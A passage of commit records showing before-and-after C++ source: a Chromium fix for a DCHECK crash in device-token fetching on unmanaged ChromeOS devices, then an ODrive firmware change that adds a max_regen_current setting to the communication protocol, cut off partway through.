backend_->ProcessRegisterRequest(auth_token_, device_id_, request, this);\n}\n\nconst std::string& DeviceTokenFetcher::GetDeviceToken() {\n  return device_token_;\n}\n\nvoid DeviceTokenFetcher::AddObserver(DeviceTokenFetcher::Observer* observer) {\n  observer_list_.AddObserver(observer);\n}\n\nvoid DeviceTokenFetcher::RemoveObserver(\n    DeviceTokenFetcher::Observer* observer) {\n  observer_list_.RemoveObserver(observer);\n}\n\nvoid DeviceTokenFetcher::HandleRegisterResponse(\n    const em::DeviceRegisterResponse& response) {\n  if (response.has_device_management_token()) {\n    device_token_ = response.device_management_token();\n    SetState(STATE_TOKEN_AVAILABLE);\n  } else {\n    NOTREACHED();\n    SetState(STATE_ERROR);\n  }\n}\n\nvoid DeviceTokenFetcher::OnError(DeviceManagementBackend::ErrorCode code) {\n  if (code == DeviceManagementBackend::kErrorServiceManagementNotSupported) {\n    cache_->SetUnmanaged();\n    SetState(STATE_UNMANAGED);\n  }\n  SetState(STATE_ERROR);\n}\n\nvoid DeviceTokenFetcher::Initialize(DeviceManagementService* service,\n                                    CloudPolicyCache* cache,\n                                    int64 token_fetch_error_delay_ms,\n                                    int64 unmanaged_device_refresh_rate_ms) {\n  service_ = service;\n  cache_ = cache;\n  token_fetch_error_delay_ms_ = token_fetch_error_delay_ms;\n  effective_token_fetch_error_delay_ms_ = token_fetch_error_delay_ms;\n  unmanaged_device_refresh_rate_ms_ = unmanaged_device_refresh_rate_ms;\n  state_ = STATE_INACTIVE;\n  retry_task_ = NULL;\n\n  if (cache_->is_unmanaged())\n    SetState(STATE_UNMANAGED);\n}\n\nvoid DeviceTokenFetcher::SetState(FetcherState state) {\n  state_ = state;\n  if (state_ != STATE_ERROR)\n    effective_token_fetch_error_delay_ms_ = token_fetch_error_delay_ms_;\n\n  base::Time delayed_work_at;\n  switch (state_) {\n    case STATE_INACTIVE:\n      device_token_.clear();\n      auth_token_.clear();\n      device_id_.clear();\n      break;\n    case STATE_TOKEN_AVAILABLE:\n      FOR_EACH_OBSERVER(Observer, observer_list_, OnDeviceTokenAvailable());\n      break;\n    case STATE_UNMANAGED:\n      delayed_work_at = cache_->last_policy_refresh_time() +\n          base::TimeDelta::FromMilliseconds(unmanaged_device_refresh_rate_ms_);\n      break;\n    case STATE_ERROR:\n      delayed_work_at = base::Time::Now() +\n          base::TimeDelta::FromMilliseconds(\n              effective_token_fetch_error_delay_ms_);\n      effective_token_fetch_error_delay_ms_ *= 2;\n      break;\n  }\n\n  CancelRetryTask();\n  if (!delayed_work_at.is_null()) {\n    base::Time now(base::Time::Now());\n    int64 delay = std::max<int64>((delayed_work_at - now).InMilliseconds(), 0);\n    retry_task_ = method_factory_.NewRunnableMethod(\n            &DeviceTokenFetcher::ExecuteRetryTask);\n    MessageLoop::current()->PostDelayedTask(FROM_HERE, retry_task_,\n                                            delay);\n  }\n}\n\nvoid DeviceTokenFetcher::ExecuteRetryTask() {\n  DCHECK(retry_task_);\n  retry_task_ = NULL;\n\n  switch (state_) {\n    case STATE_INACTIVE:\n    case STATE_TOKEN_AVAILABLE:\n      break;\n    case STATE_UNMANAGED:\n    case STATE_ERROR:\n      FetchTokenInternal();\n      break;\n  }\n}\n\nvoid DeviceTokenFetcher::CancelRetryTask() {\n  if (retry_task_) {\n    retry_task_->Cancel();\n    retry_task_ = NULL;\n  }\n}\n\n}  \/\/ namespace policy\n<commit_msg>Fix crash caused by DCHECK for unmanaged ChromeOS devices.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/policy\/device_token_fetcher.h\"\n\n#include <algorithm>\n\n#include \"base\/message_loop.h\"\n#include \"chrome\/browser\/policy\/cloud_policy_cache.h\"\n#include \"chrome\/browser\/policy\/device_management_service.h\"\n#include \"chrome\/browser\/policy\/proto\/device_management_constants.h\"\n#include \"chrome\/browser\/policy\/proto\/device_management_local.pb.h\"\n\nnamespace {\n\n\/\/ Retry after 3 seconds (with exponential backoff) after token fetch errors.\nconst int64 kTokenFetchErrorDelayMilliseconds = 3 * 1000;\n\/\/ For unmanaged devices, check once per day whether they're still unmanaged.\nconst int64 kUnmanagedDeviceRefreshRateMilliseconds = 24 * 60 * 60 * 1000;\n\n}  \/\/ namespace\n\nnamespace policy {\n\nnamespace em = enterprise_management;\n\nDeviceTokenFetcher::DeviceTokenFetcher(\n    DeviceManagementService* service,\n    CloudPolicyCache* cache)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(method_factory_(this)) {\n  Initialize(service,\n             cache,\n             kTokenFetchErrorDelayMilliseconds,\n             kUnmanagedDeviceRefreshRateMilliseconds);\n}\n\nDeviceTokenFetcher::DeviceTokenFetcher(\n    DeviceManagementService* service,\n    CloudPolicyCache* cache,\n    int64 token_fetch_error_delay_ms,\n    int64 unmanaged_device_refresh_rate_ms)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(method_factory_(this)) {\n  Initialize(service,\n             cache,\n             token_fetch_error_delay_ms,\n             unmanaged_device_refresh_rate_ms);\n}\n\nDeviceTokenFetcher::~DeviceTokenFetcher() {\n  CancelRetryTask();\n}\n\nvoid DeviceTokenFetcher::FetchToken(\n    const std::string& auth_token,\n    const std::string& device_id,\n    em::DeviceRegisterRequest_Type policy_type,\n    const std::string& machine_id) {\n  SetState(STATE_INACTIVE);\n  auth_token_ = auth_token;\n  device_id_ = device_id;\n  policy_type_ = policy_type;\n  machine_id_ = machine_id;\n  FetchTokenInternal();\n}\n\nvoid DeviceTokenFetcher::FetchTokenInternal() {\n  DCHECK(state_ != STATE_TOKEN_AVAILABLE);\n  if (auth_token_.empty() || device_id_.empty()) {\n    \/\/ Maybe this device is unmanaged, just exit. The CloudPolicyController\n    \/\/ will call FetchToken() again if something changes.\n    return;\n  }\n  \/\/ Construct a new backend, which will discard any previous requests.\n  backend_.reset(service_->CreateBackend());\n  em::DeviceRegisterRequest request;\n  request.set_type(policy_type_);\n  if (!machine_id_.empty())\n    request.set_machine_id(machine_id_);\n  request.set_machine_model(kRegisterRequestMachineModel);\n  backend_->ProcessRegisterRequest(auth_token_, device_id_, request, this);\n}\n\nconst std::string& DeviceTokenFetcher::GetDeviceToken() {\n  return device_token_;\n}\n\nvoid DeviceTokenFetcher::AddObserver(DeviceTokenFetcher::Observer* observer) {\n  observer_list_.AddObserver(observer);\n}\n\nvoid DeviceTokenFetcher::RemoveObserver(\n    DeviceTokenFetcher::Observer* observer) {\n  observer_list_.RemoveObserver(observer);\n}\n\nvoid DeviceTokenFetcher::HandleRegisterResponse(\n    const em::DeviceRegisterResponse& response) {\n  if (response.has_device_management_token()) {\n    device_token_ = response.device_management_token();\n    SetState(STATE_TOKEN_AVAILABLE);\n  } else {\n    NOTREACHED();\n    SetState(STATE_ERROR);\n  }\n}\n\nvoid DeviceTokenFetcher::OnError(DeviceManagementBackend::ErrorCode code) {\n  if (code == DeviceManagementBackend::kErrorServiceManagementNotSupported) {\n    cache_->SetUnmanaged();\n    SetState(STATE_UNMANAGED);\n  }\n  SetState(STATE_ERROR);\n}\n\nvoid DeviceTokenFetcher::Initialize(DeviceManagementService* service,\n                                    CloudPolicyCache* cache,\n                                    int64 token_fetch_error_delay_ms,\n                                    int64 unmanaged_device_refresh_rate_ms) {\n  service_ = service;\n  cache_ = cache;\n  token_fetch_error_delay_ms_ = token_fetch_error_delay_ms;\n  effective_token_fetch_error_delay_ms_ = token_fetch_error_delay_ms;\n  unmanaged_device_refresh_rate_ms_ = unmanaged_device_refresh_rate_ms;\n  state_ = STATE_INACTIVE;\n  retry_task_ = NULL;\n\n  if (cache_->is_unmanaged())\n    SetState(STATE_UNMANAGED);\n}\n\nvoid DeviceTokenFetcher::SetState(FetcherState state) {\n  state_ = state;\n  if (state_ != STATE_ERROR)\n    effective_token_fetch_error_delay_ms_ = token_fetch_error_delay_ms_;\n\n  base::Time delayed_work_at;\n  switch (state_) {\n    case STATE_INACTIVE:\n      device_token_.clear();\n      auth_token_.clear();\n      device_id_.clear();\n      break;\n    case STATE_TOKEN_AVAILABLE:\n      FOR_EACH_OBSERVER(Observer, observer_list_, OnDeviceTokenAvailable());\n      break;\n    case STATE_UNMANAGED:\n      delayed_work_at = cache_->last_policy_refresh_time() +\n          base::TimeDelta::FromMilliseconds(unmanaged_device_refresh_rate_ms_);\n      break;\n    case STATE_ERROR:\n      delayed_work_at = base::Time::Now() +\n          base::TimeDelta::FromMilliseconds(\n              effective_token_fetch_error_delay_ms_);\n      effective_token_fetch_error_delay_ms_ *= 2;\n      break;\n  }\n\n  CancelRetryTask();\n  if (!delayed_work_at.is_null()) {\n    base::Time now(base::Time::Now());\n    int64 delay = std::max<int64>((delayed_work_at - now).InMilliseconds(), 0);\n    retry_task_ = method_factory_.NewRunnableMethod(\n            &DeviceTokenFetcher::ExecuteRetryTask);\n    MessageLoop::current()->PostDelayedTask(FROM_HERE, retry_task_,\n                                            delay);\n  }\n}\n\nvoid DeviceTokenFetcher::ExecuteRetryTask() {\n  DCHECK(retry_task_);\n  retry_task_ = NULL;\n\n  switch (state_) {\n    case STATE_INACTIVE:\n    case STATE_TOKEN_AVAILABLE:\n      break;\n    case STATE_UNMANAGED:\n    case STATE_ERROR:\n      FetchTokenInternal();\n      break;\n  }\n}\n\nvoid DeviceTokenFetcher::CancelRetryTask() {\n  if (retry_task_) {\n    retry_task_->Cancel();\n    retry_task_ = NULL;\n  }\n}\n\n}  \/\/ namespace policy\n<|endoftext|>"}
{"text":"<commit_before>\n\/* Includes ------------------------------------------------------------------*\/\n\n#include \"communication.h\"\n\n#include \"interface_usb.h\"\n#include \"interface_uart.h\"\n#include \"interface_can.hpp\"\n#include \"interface_i2c.h\"\n\n#include \"odrive_main.h\"\n#include \"freertos_vars.h\"\n#include \"utils.h\"\n\n#include \"..\/build\/version.h\" \/\/ autogenerated based on Git state\n\n#include <cmsis_os.h>\n#include <memory>\n\/\/#include <usbd_cdc_if.h>\n\/\/#include <usb_device.h>\n\/\/#include <usart.h>\n#include <gpio.h>\n\n#include <type_traits>\n\n\/* Private defines -----------------------------------------------------------*\/\n\/* Private macros ------------------------------------------------------------*\/\n\/* Private typedef -----------------------------------------------------------*\/\n\/* Global constant data ------------------------------------------------------*\/\n\/* Global variables ----------------------------------------------------------*\/\n\nuint64_t serial_number;\nchar serial_number_str[13]; \/\/ 12 digits + null termination\n\n\/* Private constant data -----------------------------------------------------*\/\n\/* Private variables ---------------------------------------------------------*\/\n\n#if HW_VERSION_MAJOR == 3\n\/\/ Determine start address of the OTP struct:\n\/\/ The OTP is organized into 16-byte blocks.\n\/\/ If the first block starts with \"0xfe\" we use the first block.\n\/\/ If the first block starts with \"0x00\" and the second block starts with \"0xfe\",\n\/\/ we use the second block. This gives the user the chance to screw up once.\n\/\/ If none of the above is the case, we consider the OTP invalid (otp_ptr will be NULL).\nconst uint8_t* otp_ptr =\n    (*(uint8_t*)FLASH_OTP_BASE == 0xfe) ? (uint8_t*)FLASH_OTP_BASE :\n    (*(uint8_t*)FLASH_OTP_BASE != 0x00) ? NULL :\n        (*(uint8_t*)(FLASH_OTP_BASE + 0x10) != 0xfe) ? NULL :\n            (uint8_t*)(FLASH_OTP_BASE + 0x10);\n\n\/\/ Read hardware version from OTP if available, otherwise fall back\n\/\/ to software defined version.\nconst uint8_t hw_version_major = otp_ptr ? otp_ptr[3] : HW_VERSION_MAJOR;\nconst uint8_t hw_version_minor = otp_ptr ? otp_ptr[4] : HW_VERSION_MINOR;\nconst uint8_t hw_version_variant = otp_ptr ? otp_ptr[5] : HW_VERSION_VOLTAGE;\n#else\n#error \"not implemented\"\n#endif\n\n\/\/ the corresponding macros are defined in the autogenerated version.h\nconst uint8_t fw_version_major = FW_VERSION_MAJOR;\nconst uint8_t fw_version_minor = FW_VERSION_MINOR;\nconst uint8_t fw_version_revision = FW_VERSION_REVISION;\nconst uint8_t fw_version_unreleased = FW_VERSION_UNRELEASED; \/\/ 0 for official releases, 1 otherwise\n\nosThreadId comm_thread;\nvolatile bool endpoint_list_valid = false;\n\nstatic uint32_t test_property = 0;\n\n\/* Private function prototypes -----------------------------------------------*\/\n\nauto make_protocol_definitions(PWMMapping_t& mapping) {\n    return make_protocol_member_list(\n        make_protocol_property(\"endpoint\", &mapping.endpoint),\n        make_protocol_property(\"min\", &mapping.min),\n        make_protocol_property(\"max\", &mapping.max)\n    );\n}\n\n\/* Function implementations --------------------------------------------------*\/\n\nvoid init_communication(void) {\n    printf(\"hi!\\r\\n\");\n\n    \/\/ Start command handling thread\n    osThreadDef(task_cmd_parse, communication_task, osPriorityNormal, 0, 8000 \/* in 32-bit words *\/); \/\/ TODO: fix stack issues\n    comm_thread = osThreadCreate(osThread(task_cmd_parse), NULL);\n\n    while (!endpoint_list_valid)\n        osDelay(1);\n}\n\n\nfloat oscilloscope[OSCILLOSCOPE_SIZE] = {0};\nsize_t oscilloscope_pos = 0;\n\n\nstatic CAN_context can1_ctx;\n\n\/\/ Helper class because the protocol library doesn't yet\n\/\/ support non-member functions\n\/\/ TODO: make this go away\nclass StaticFunctions {\npublic:\n    void save_configuration_helper() { save_configuration(); }\n    void erase_configuration_helper() { erase_configuration(); }\n    void NVIC_SystemReset_helper() { NVIC_SystemReset(); }\n    void enter_dfu_mode_helper() { enter_dfu_mode(); }\n    float get_oscilloscope_val(uint32_t index) { return oscilloscope[index]; }\n    float get_adc_voltage_(uint32_t gpio) { return get_adc_voltage(get_gpio_port_by_pin(gpio), get_gpio_pin_by_pin(gpio)); }\n    int32_t test_function(int32_t delta) { static int cnt = 0; return cnt += delta; }\n} static_functions;\n\n\/\/ When adding new functions\/variables to the protocol, be careful not to\n\/\/ blow the communication stack. You can check comm_stack_info to see\n\/\/ how much headroom you have.\nstatic inline auto make_obj_tree() {\n    return make_protocol_member_list(\n        make_protocol_ro_property(\"vbus_voltage\", &vbus_voltage),\n        make_protocol_ro_property(\"serial_number\", &serial_number),\n        make_protocol_ro_property(\"hw_version_major\", &hw_version_major),\n        make_protocol_ro_property(\"hw_version_minor\", &hw_version_minor),\n        make_protocol_ro_property(\"hw_version_variant\", &hw_version_variant),\n        make_protocol_ro_property(\"fw_version_major\", &fw_version_major),\n        make_protocol_ro_property(\"fw_version_minor\", &fw_version_minor),\n        make_protocol_ro_property(\"fw_version_revision\", &fw_version_revision),\n        make_protocol_ro_property(\"fw_version_unreleased\", &fw_version_unreleased),\n        make_protocol_ro_property(\"user_config_loaded\", const_cast<const bool *>(&user_config_loaded_)),\n        make_protocol_ro_property(\"brake_resistor_armed\", &brake_resistor_armed),\n        make_protocol_object(\"system_stats\",\n            make_protocol_ro_property(\"uptime\", &system_stats_.uptime),\n            make_protocol_ro_property(\"min_heap_space\", &system_stats_.min_heap_space),\n            make_protocol_ro_property(\"min_stack_space_axis0\", &system_stats_.min_stack_space_axis0),\n            make_protocol_ro_property(\"min_stack_space_axis1\", &system_stats_.min_stack_space_axis1),\n            make_protocol_ro_property(\"min_stack_space_comms\", &system_stats_.min_stack_space_comms),\n            make_protocol_ro_property(\"min_stack_space_usb\", &system_stats_.min_stack_space_usb),\n            make_protocol_ro_property(\"min_stack_space_uart\", &system_stats_.min_stack_space_uart),\n            make_protocol_ro_property(\"min_stack_space_usb_irq\", &system_stats_.min_stack_space_usb_irq),\n            make_protocol_ro_property(\"min_stack_space_startup\", &system_stats_.min_stack_space_startup),\n            make_protocol_object(\"usb\",\n                make_protocol_ro_property(\"rx_cnt\", &usb_stats_.rx_cnt),\n                make_protocol_ro_property(\"tx_cnt\", &usb_stats_.tx_cnt),\n                make_protocol_ro_property(\"tx_overrun_cnt\", &usb_stats_.tx_overrun_cnt)\n            ),\n            make_protocol_object(\"i2c\",\n                make_protocol_ro_property(\"addr\", &i2c_stats_.addr),\n                make_protocol_ro_property(\"addr_match_cnt\", &i2c_stats_.addr_match_cnt),\n                make_protocol_ro_property(\"rx_cnt\", &i2c_stats_.rx_cnt),\n                make_protocol_ro_property(\"error_cnt\", &i2c_stats_.error_cnt)\n            )\n        ),\n        make_protocol_object(\"config\",\n            make_protocol_property(\"brake_resistance\", &board_config.brake_resistance),\n            \/\/ TODO: changing this currently requires a reboot - fix this\n            make_protocol_property(\"enable_uart\", &board_config.enable_uart),\n            make_protocol_property(\"enable_i2c_instead_of_can\" , &board_config.enable_i2c_instead_of_can), \/\/ requires a reboot\n            make_protocol_property(\"enable_ascii_protocol_on_usb\", &board_config.enable_ascii_protocol_on_usb),\n            make_protocol_property(\"dc_bus_undervoltage_trip_level\", &board_config.dc_bus_undervoltage_trip_level),\n            make_protocol_property(\"dc_bus_overvoltage_trip_level\", &board_config.dc_bus_overvoltage_trip_level),\n#if HW_VERSION_MAJOR == 3 && HW_VERSION_MINOR >= 3\n            make_protocol_object(\"gpio1_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[0])),\n            make_protocol_object(\"gpio2_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[1])),\n            make_protocol_object(\"gpio3_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[2])),\n#endif\n            make_protocol_object(\"gpio4_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[3])),\n\n            make_protocol_object(\"gpio3_analog_mapping\", make_protocol_definitions(board_config.analog_mappings[2])),\n            make_protocol_object(\"gpio4_analog_mapping\", make_protocol_definitions(board_config.analog_mappings[3]))\n            ),\n        make_protocol_object(\"axis0\", axes[0]->make_protocol_definitions()),\n        make_protocol_object(\"axis1\", axes[1]->make_protocol_definitions()),\n        make_protocol_object(\"can\", can1_ctx.make_protocol_definitions()),\n        make_protocol_property(\"test_property\", &test_property),\n        make_protocol_function(\"test_function\", static_functions, &StaticFunctions::test_function, \"delta\"),\n        make_protocol_function(\"get_oscilloscope_val\", static_functions, &StaticFunctions::get_oscilloscope_val, \"index\"),\n        make_protocol_function(\"get_adc_voltage\", static_functions, &StaticFunctions::get_adc_voltage_, \"gpio\"),\n        make_protocol_function(\"save_configuration\", static_functions, &StaticFunctions::save_configuration_helper),\n        make_protocol_function(\"erase_configuration\", static_functions, &StaticFunctions::erase_configuration_helper),\n        make_protocol_function(\"reboot\", static_functions, &StaticFunctions::NVIC_SystemReset_helper),\n        make_protocol_function(\"enter_dfu_mode\", static_functions, &StaticFunctions::enter_dfu_mode_helper)\n    );\n}\n\nusing tree_type = decltype(make_obj_tree());\nuint8_t tree_buffer[sizeof(tree_type)];\n\n\n\/\/ Thread to handle deffered processing of USB interrupt, and\n\/\/ read commands out of the UART DMA circular buffer\nvoid communication_task(void * ctx) {\n    (void) ctx; \/\/ unused parameter\n\n    \/\/ TODO: this is supposed to use the move constructor, but currently\n    \/\/ the compiler uses the copy-constructor instead. Thus the make_obj_tree\n    \/\/ ends up with a stupid stack size of around 8000 bytes. Fix this.\n    auto tree_ptr = new (tree_buffer) tree_type(make_obj_tree());\n    fibre_publish(*tree_ptr);\n\n    \/\/ Allow main init to continue\n    endpoint_list_valid = true;\n    \n    start_uart_server();\n    start_usb_server();\n    if (board_config.enable_i2c_instead_of_can) {\n        start_i2c_server();\n    } else {\n        \/\/ TODO: finish implementing CAN\n        \/\/ start_can_server(can1_ctx, CAN1, serial_number);\n    }\n\n    for (;;) {\n        osDelay(1000); \/\/ nothing to do\n    }\n}\n\nextern \"C\" {\nint _write(int file, const char* data, int len);\n}\n\n\/\/ @brief This is what printf calls internally\nint _write(int file, const char* data, int len) {\n#ifdef USB_PROTOCOL_STDOUT\n    usb_stream_output_ptr->process_bytes((const uint8_t *)data, len, nullptr);\n#endif\n#ifdef UART_PROTOCOL_STDOUT\n    uart4_stream_output_ptr->process_bytes((const uint8_t *)data, len, nullptr);\n#endif\n    return len;\n}\n<commit_msg>add max regen current to protocl<commit_after>\n\/* Includes ------------------------------------------------------------------*\/\n\n#include \"communication.h\"\n\n#include \"interface_usb.h\"\n#include \"interface_uart.h\"\n#include \"interface_can.hpp\"\n#include \"interface_i2c.h\"\n\n#include \"odrive_main.h\"\n#include \"freertos_vars.h\"\n#include \"utils.h\"\n\n#include \"..\/build\/version.h\" \/\/ autogenerated based on Git state\n\n#include <cmsis_os.h>\n#include <memory>\n\/\/#include <usbd_cdc_if.h>\n\/\/#include <usb_device.h>\n\/\/#include <usart.h>\n#include <gpio.h>\n\n#include <type_traits>\n\n\/* Private defines -----------------------------------------------------------*\/\n\/* Private macros ------------------------------------------------------------*\/\n\/* Private typedef -----------------------------------------------------------*\/\n\/* Global constant data ------------------------------------------------------*\/\n\/* Global variables ----------------------------------------------------------*\/\n\nuint64_t serial_number;\nchar serial_number_str[13]; \/\/ 12 digits + null termination\n\n\/* Private constant data -----------------------------------------------------*\/\n\/* Private variables ---------------------------------------------------------*\/\n\n#if HW_VERSION_MAJOR == 3\n\/\/ Determine start address of the OTP struct:\n\/\/ The OTP is organized into 16-byte blocks.\n\/\/ If the first block starts with \"0xfe\" we use the first block.\n\/\/ If the first block starts with \"0x00\" and the second block starts with \"0xfe\",\n\/\/ we use the second block. This gives the user the chance to screw up once.\n\/\/ If none of the above is the case, we consider the OTP invalid (otp_ptr will be NULL).\nconst uint8_t* otp_ptr =\n    (*(uint8_t*)FLASH_OTP_BASE == 0xfe) ? (uint8_t*)FLASH_OTP_BASE :\n    (*(uint8_t*)FLASH_OTP_BASE != 0x00) ? NULL :\n        (*(uint8_t*)(FLASH_OTP_BASE + 0x10) != 0xfe) ? NULL :\n            (uint8_t*)(FLASH_OTP_BASE + 0x10);\n\n\/\/ Read hardware version from OTP if available, otherwise fall back\n\/\/ to software defined version.\nconst uint8_t hw_version_major = otp_ptr ? otp_ptr[3] : HW_VERSION_MAJOR;\nconst uint8_t hw_version_minor = otp_ptr ? otp_ptr[4] : HW_VERSION_MINOR;\nconst uint8_t hw_version_variant = otp_ptr ? otp_ptr[5] : HW_VERSION_VOLTAGE;\n#else\n#error \"not implemented\"\n#endif\n\n\/\/ the corresponding macros are defined in the autogenerated version.h\nconst uint8_t fw_version_major = FW_VERSION_MAJOR;\nconst uint8_t fw_version_minor = FW_VERSION_MINOR;\nconst uint8_t fw_version_revision = FW_VERSION_REVISION;\nconst uint8_t fw_version_unreleased = FW_VERSION_UNRELEASED; \/\/ 0 for official releases, 1 otherwise\n\nosThreadId comm_thread;\nvolatile bool endpoint_list_valid = false;\n\nstatic uint32_t test_property = 0;\n\n\/* Private function prototypes -----------------------------------------------*\/\n\nauto make_protocol_definitions(PWMMapping_t& mapping) {\n    return make_protocol_member_list(\n        make_protocol_property(\"endpoint\", &mapping.endpoint),\n        make_protocol_property(\"min\", &mapping.min),\n        make_protocol_property(\"max\", &mapping.max)\n    );\n}\n\n\/* Function implementations --------------------------------------------------*\/\n\nvoid init_communication(void) {\n    printf(\"hi!\\r\\n\");\n\n    \/\/ Start command handling thread\n    osThreadDef(task_cmd_parse, communication_task, osPriorityNormal, 0, 8000 \/* in 32-bit words *\/); \/\/ TODO: fix stack issues\n    comm_thread = osThreadCreate(osThread(task_cmd_parse), NULL);\n\n    while (!endpoint_list_valid)\n        osDelay(1);\n}\n\n\nfloat oscilloscope[OSCILLOSCOPE_SIZE] = {0};\nsize_t oscilloscope_pos = 0;\n\n\nstatic CAN_context can1_ctx;\n\n\/\/ Helper class because the protocol library doesn't yet\n\/\/ support non-member functions\n\/\/ TODO: make this go away\nclass StaticFunctions {\npublic:\n    void save_configuration_helper() { save_configuration(); }\n    void erase_configuration_helper() { erase_configuration(); }\n    void NVIC_SystemReset_helper() { NVIC_SystemReset(); }\n    void enter_dfu_mode_helper() { enter_dfu_mode(); }\n    float get_oscilloscope_val(uint32_t index) { return oscilloscope[index]; }\n    float get_adc_voltage_(uint32_t gpio) { return get_adc_voltage(get_gpio_port_by_pin(gpio), get_gpio_pin_by_pin(gpio)); }\n    int32_t test_function(int32_t delta) { static int cnt = 0; return cnt += delta; }\n} static_functions;\n\n\/\/ When adding new functions\/variables to the protocol, be careful not to\n\/\/ blow the communication stack. You can check comm_stack_info to see\n\/\/ how much headroom you have.\nstatic inline auto make_obj_tree() {\n    return make_protocol_member_list(\n        make_protocol_ro_property(\"vbus_voltage\", &vbus_voltage),\n        make_protocol_ro_property(\"serial_number\", &serial_number),\n        make_protocol_ro_property(\"hw_version_major\", &hw_version_major),\n        make_protocol_ro_property(\"hw_version_minor\", &hw_version_minor),\n        make_protocol_ro_property(\"hw_version_variant\", &hw_version_variant),\n        make_protocol_ro_property(\"fw_version_major\", &fw_version_major),\n        make_protocol_ro_property(\"fw_version_minor\", &fw_version_minor),\n        make_protocol_ro_property(\"fw_version_revision\", &fw_version_revision),\n        make_protocol_ro_property(\"fw_version_unreleased\", &fw_version_unreleased),\n        make_protocol_ro_property(\"user_config_loaded\", const_cast<const bool *>(&user_config_loaded_)),\n        make_protocol_ro_property(\"brake_resistor_armed\", &brake_resistor_armed),\n        make_protocol_object(\"system_stats\",\n            make_protocol_ro_property(\"uptime\", &system_stats_.uptime),\n            make_protocol_ro_property(\"min_heap_space\", &system_stats_.min_heap_space),\n            make_protocol_ro_property(\"min_stack_space_axis0\", &system_stats_.min_stack_space_axis0),\n            make_protocol_ro_property(\"min_stack_space_axis1\", &system_stats_.min_stack_space_axis1),\n            make_protocol_ro_property(\"min_stack_space_comms\", &system_stats_.min_stack_space_comms),\n            make_protocol_ro_property(\"min_stack_space_usb\", &system_stats_.min_stack_space_usb),\n            make_protocol_ro_property(\"min_stack_space_uart\", &system_stats_.min_stack_space_uart),\n            make_protocol_ro_property(\"min_stack_space_usb_irq\", &system_stats_.min_stack_space_usb_irq),\n            make_protocol_ro_property(\"min_stack_space_startup\", &system_stats_.min_stack_space_startup),\n            make_protocol_object(\"usb\",\n                make_protocol_ro_property(\"rx_cnt\", &usb_stats_.rx_cnt),\n                make_protocol_ro_property(\"tx_cnt\", &usb_stats_.tx_cnt),\n                make_protocol_ro_property(\"tx_overrun_cnt\", &usb_stats_.tx_overrun_cnt)\n            ),\n            make_protocol_object(\"i2c\",\n                make_protocol_ro_property(\"addr\", &i2c_stats_.addr),\n                make_protocol_ro_property(\"addr_match_cnt\", &i2c_stats_.addr_match_cnt),\n                make_protocol_ro_property(\"rx_cnt\", &i2c_stats_.rx_cnt),\n                make_protocol_ro_property(\"error_cnt\", &i2c_stats_.error_cnt)\n            )\n        ),\n        make_protocol_object(\"config\",\n            make_protocol_property(\"brake_resistance\", &board_config.brake_resistance),\n            make_protocol_property(\"max_regen_current \", &board_config.max_regen_current ),\n            \/\/ TODO: changing this currently requires a reboot - fix this\n            make_protocol_property(\"enable_uart\", &board_config.enable_uart),\n            make_protocol_property(\"enable_i2c_instead_of_can\" , &board_config.enable_i2c_instead_of_can), \/\/ requires a reboot\n            make_protocol_property(\"enable_ascii_protocol_on_usb\", &board_config.enable_ascii_protocol_on_usb),\n            make_protocol_property(\"dc_bus_undervoltage_trip_level\", &board_config.dc_bus_undervoltage_trip_level),\n            make_protocol_property(\"dc_bus_overvoltage_trip_level\", &board_config.dc_bus_overvoltage_trip_level),\n#if HW_VERSION_MAJOR == 3 && HW_VERSION_MINOR >= 3\n            make_protocol_object(\"gpio1_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[0])),\n            make_protocol_object(\"gpio2_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[1])),\n            make_protocol_object(\"gpio3_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[2])),\n#endif\n            make_protocol_object(\"gpio4_pwm_mapping\", make_protocol_definitions(board_config.pwm_mappings[3])),\n\n            make_protocol_object(\"gpio3_analog_mapping\", make_protocol_definitions(board_config.analog_mappings[2])),\n            make_protocol_object(\"gpio4_analog_mapping\", make_protocol_definitions(board_config.analog_mappings[3]))\n            ),\n        make_protocol_object(\"axis0\", axes[0]->make_protocol_definitions()),\n        make_protocol_object(\"axis1\", axes[1]->make_protocol_definitions()),\n        make_protocol_object(\"can\", can1_ctx.make_protocol_definitions()),\n        make_protocol_property(\"test_property\", &test_property),\n        make_protocol_function(\"test_function\", static_functions, &StaticFunctions::test_function, \"delta\"),\n        make_protocol_function(\"get_oscilloscope_val\", static_functions, &StaticFunctions::get_oscilloscope_val, \"index\"),\n        make_protocol_function(\"get_adc_voltage\", static_functions, &StaticFunctions::get_adc_voltage_, \"gpio\"),\n        make_protocol_function(\"save_configuration\", static_functions, &StaticFunctions::save_configuration_helper),\n        make_protocol_function(\"erase_configuration\", static_functions, &StaticFunctions::erase_configuration_helper),\n        make_protocol_function(\"reboot\", static_functions, &StaticFunctions::NVIC_SystemReset_helper),\n        make_protocol_function(\"enter_dfu_mode\", static_functions, &StaticFunctions::enter_dfu_mode_helper)\n    );\n}\n\nusing tree_type = decltype(make_obj_tree());\nuint8_t tree_buffer[sizeof(tree_type)];\n\n\n\/\/ Thread to handle deffered processing of USB interrupt, and\n\/\/ read commands out of the UART DMA circular buffer\nvoid communication_task(void * ctx) {\n    (void) ctx; \/\/ unused parameter\n\n    \/\/ TODO: this is supposed to use the move constructor, but currently\n    \/\/ the compiler uses the copy-constructor instead. Thus the make_obj_tree\n    \/\/ ends up with a stupid stack size of around 8000 bytes. Fix this.\n    auto tree_ptr = new (tree_buffer) tree_type(make_obj_tree());\n    fibre_publish(*tree_ptr);\n\n    \/\/ Allow main init to continue\n    endpoint_list_valid = true;\n    \n    start_uart_server();\n    start_usb_server();\n    if (board_config.enable_i2c_instead_of_can) {\n        start_i2c_server();\n    } else {\n        \/\/ TODO: finish implementing CAN\n        \/\/ start_can_server(can1_ctx, CAN1, serial_number);\n    }\n\n    for (;;) {\n        osDelay(1000); \/\/ nothing to do\n    }\n}\n\nextern \"C\" {\nint _write(int file, const char* data, int len);\n}\n\n\/\/ 